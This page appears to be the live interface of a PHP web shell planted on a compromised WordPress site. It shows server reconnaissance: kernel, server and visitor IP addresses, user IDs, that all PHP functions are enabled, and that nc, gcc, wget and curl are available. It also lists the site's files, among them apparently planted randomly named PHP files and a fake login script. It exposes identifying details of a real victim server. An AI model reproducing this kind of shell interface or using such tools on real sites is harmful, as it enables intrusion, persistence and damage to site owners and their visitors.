| Linux pdx1-shared-a1-02 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64 |
| Apache |
| 69.163.180.195 | Your IP: 216.73.217.178 |
| Cant read [ /etc/named.conf ] |
| [ drwxr-xr-x ] |
| / home / modelyourcashflow / modelyourcashflow.com / |
| Operating System | : | Linux pdx1-shared-a1-02 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64 |
| User / Group | : | 13049061[modelyourcashflow] / 916069[pg4892468] |
| PHP Version | : | 7.4.33 |
| IP Server | : | 69.163.180.195 |
| Your IP | : | 216.73.217.178 |
| Storage | : | Total = 17.46 TB, Free = 561.04 GB [3%] |
| Domains | : | Cant read [ /etc/named.conf ] |
| Software | : | Apache |
| Disable Functions | : | All function is accessible |
| Useful Functions | : | gcc, cc, ld, make, php, perl, python, ruby, tar, gzip, nc, git, ssh |
| Downloader | : | wget, lynx, links, curl, lwp-mirror |
| CURL : ON | SSH2 : OFF | Magic Quotes : ON | MySQL : ON | MSSQL : OFF | PostgreSQL : OFF | Oracle : OFF | ||
| Safe Mode : OFF | Open Basedir : NONE | Safe Mode Exec Dir : NONE | Safe Mode Include Dir : NONE | ||
| Name | Type | Size | Owner/Group | Permission | Last Modified | Actions |
| . | dir | - | modelyourcashflow/pg4892468 | drwxr-xr-x | 2026-08-02 12:45:18 | |
| .. | dir | - | modelyourcashflow/pg4892468 | drwxr-x--x | 2023-10-18 11:00:42 | |
| .dh-diag | link | - | root/root | drwxr-xr-x | 2025-10-20 03:08:53 | |
| e5dce | dir | - | modelyourcashflow/pg4892468 | dr-xr-xr-x | 2025-12-10 01:05:35 | |
| f5c94f | dir | - | modelyourcashflow/pg4892468 | drwxr-xr-x | 2025-12-31 04:23:14 | |
| images | dir | - | modelyourcashflow/pg4892468 | drwxr-xr-x | 2025-12-10 01:05:25 | |
| wp-admin | dir | - | modelyourcashflow/pg4892468 | drwxr-xr-x | 2026-07-21 04:35:45 | |
| wp-content | dir | - | modelyourcashflow/pg4892468 | drwxr-xr-x | 2026-05-01 10:46:47 | |
| wp-includes | dir | - | modelyourcashflow/pg4892468 | drwxr-xr-x | 2026-07-17 08:23:20 | |
| .htaccess | text/plain | 1.13 KB | modelyourcashflow/pg4892468 | -r-xr-xr-x | 2023-11-29 09:58:18 | |
| buy.php | text/x-php | 31.72 KB | modelyourcashflow/pg4892468 | -rw-r--r-- | 2026-08-02 12:45:18 | |
| click.php | text/x-php | 1.72 KB | modelyourcashflow/pg4892468 | -r--r--r-- | 2023-10-03 10:48:25 | |
| defaults.php | text/x-php | 1.93 KB | modelyourcashflow/pg4892468 | -r--r--r-- | 2024-03-29 10:58:18 | |
| favicon.gif | application/x-empty | 0 B | modelyourcashflow/pg4892468 | -rw-r--r-- | 2025-12-26 07:03:21 | |
| favicon.ico | application/x-empty | 0 B | modelyourcashflow/pg4892468 | -rw-r--r-- | 2025-12-26 07:03:21 | |
| goods.php | text/x-php | 1.45 KB | modelyourcashflow/pg4892468 | -r--r--r-- | 2024-06-28 10:50:25 | |
| index.php.php | text/x-php | 12.45 KB | modelyourcashflow/pg4892468 | -rwxr-xr-x | 2026-04-24 01:45:38 | |
| index.php0 | text/x-php | 12.45 KB | modelyourcashflow/pg4892468 | -rwxr-xr-x | 2024-02-18 06:14:31 | |
| item.php | text/x-php | 1.93 KB | modelyourcashflow/pg4892468 | -r--r--r-- | 2024-07-04 10:49:40 | |
| license.txt | text/plain | 19.44 KB | modelyourcashflow/pg4892468 | -rw-r--r-- | 2026-07-17 08:23:19 | |
| mah.php | text/x-php | 2 KB | modelyourcashflow/pg4892468 | -r--r--r-- | 2024-07-16 10:58:18 | |
| networks.php | text/x-php | 1.29 KB | modelyourcashflow/pg4892468 | -r--r--r-- | 2024-04-19 10:46:32 | |
| options.php | text/x-php | 2 KB | modelyourcashflow/pg4892468 | -r--r--r-- | 2024-05-02 10:51:05 | |
| pages.php | text/x-php | 1.44 KB | modelyourcashflow/pg4892468 | -r--r--r-- | 2024-04-19 06:11:04 | |
| pay.txt | application/octet-stream | 1 B | modelyourcashflow/pg4892468 | -rw-r--r-- | 2025-12-08 07:49:29 | |
| plugins.php | text/x-php | 1.29 KB | modelyourcashflow/pg4892468 | -r--r--r-- | 2024-07-15 10:49:40 | |
| product.php | text/x-php | 1.29 KB | modelyourcashflow/pg4892468 | -r--r--r-- | 2024-06-15 10:51:05 | |
| readme.html | text/html | 7.23 KB | modelyourcashflow/pg4892468 | -rw-r--r-- | 2026-07-17 08:23:19 | |
| robots.txt | text/plain | 438 B | modelyourcashflow/pg4892468 | -r--r--r-- | 2024-06-22 10:58:45 | |
| search.php | text/x-php | 1.46 KB | modelyourcashflow/pg4892468 | -r--r--r-- | 2023-11-07 05:11:37 | |
| wp-activate.php | text/x-php | 7.2 KB | modelyourcashflow/pg4892468 | -rw-r--r-- | 2026-05-27 07:14:06 | |
| wp-akvu4C.php | text/x-php | 65.34 KB | modelyourcashflow/pg4892468 | -rw-r--r-- | 2025-02-09 03:59:59 | |
| wp-blog-header.php | text/x-php | 351 B | modelyourcashflow/pg4892468 | -rw-r--r-- | 2025-12-09 10:15:18 | |
| wp-comments-post.php | text/x-php | 2.27 KB | modelyourcashflow/pg4892468 | -rw-r--r-- | 2025-12-03 09:13:11 | |
| wp-config-sample.php | text/x-php | 3.26 KB | modelyourcashflow/pg4892468 | -rw-r--r-- | 2025-12-09 10:15:18 | |
| wp-config.php | text/x-php | 3.55 KB | modelyourcashflow/pg4892468 | -rw-r----- | 2025-12-08 07:49:27 | |
| wp-cron.php | text/x-php | 5.49 KB | modelyourcashflow/pg4892468 | -rw-r--r-- | 2025-12-03 09:13:09 | |
| wp-jAguyr.php | text/plain | 66.74 KB | modelyourcashflow/pg4892468 | -rw-r--r-- | 2025-09-23 12:50:40 | |
| wp-links-opml.php | text/x-php | 2.43 KB | modelyourcashflow/pg4892468 | -rw-r--r-- | 2025-12-09 10:15:18 | |
| wp-load.php | text/x-php | 3.84 KB | modelyourcashflow/pg4892468 | -rw-r--r-- | 2025-12-09 10:15:18 | |
| wp-log1n.php | text/x-php | 1.87 KB | modelyourcashflow/pg4892468 | -r--r--r-- | 2023-10-12 10:58:18 | |
| wp-mail.php | text/x-php | 8.52 KB | modelyourcashflow/pg4892468 | -rw-r--r-- | 2025-12-09 10:15:18 | |
| wp-sJDYwm.php | text/plain | 36.77 KB | modelyourcashflow/pg4892468 | -rw-r--r-- | 2025-12-02 01:08:03 | |
| wp-settings.php | text/x-php | 31.88 KB | modelyourcashflow/pg4892468 | -rw-r--r-- | 2026-05-27 07:14:06 | |
| wp-signup.php | text/x-php | 33.81 KB | modelyourcashflow/pg4892468 | -rw-r--r-- | 2026-05-27 07:14:06 | |
| wp-trackback.php | text/x-php | 5.09 KB | modelyourcashflow/pg4892468 | -rw-r--r-- | 2025-12-09 10:15:18 | |
| wp-wJUwAu.php | text/plain | 36.77 KB | modelyourcashflow/pg4892468 | -rw-r--r-- | 2025-08-10 01:01:44 | |
| xmlrpc.php | text/x-php | 3.13 KB | modelyourcashflow/pg4892468 | -rw-r--r-- | 2025-12-03 09:13:09 |
© SEC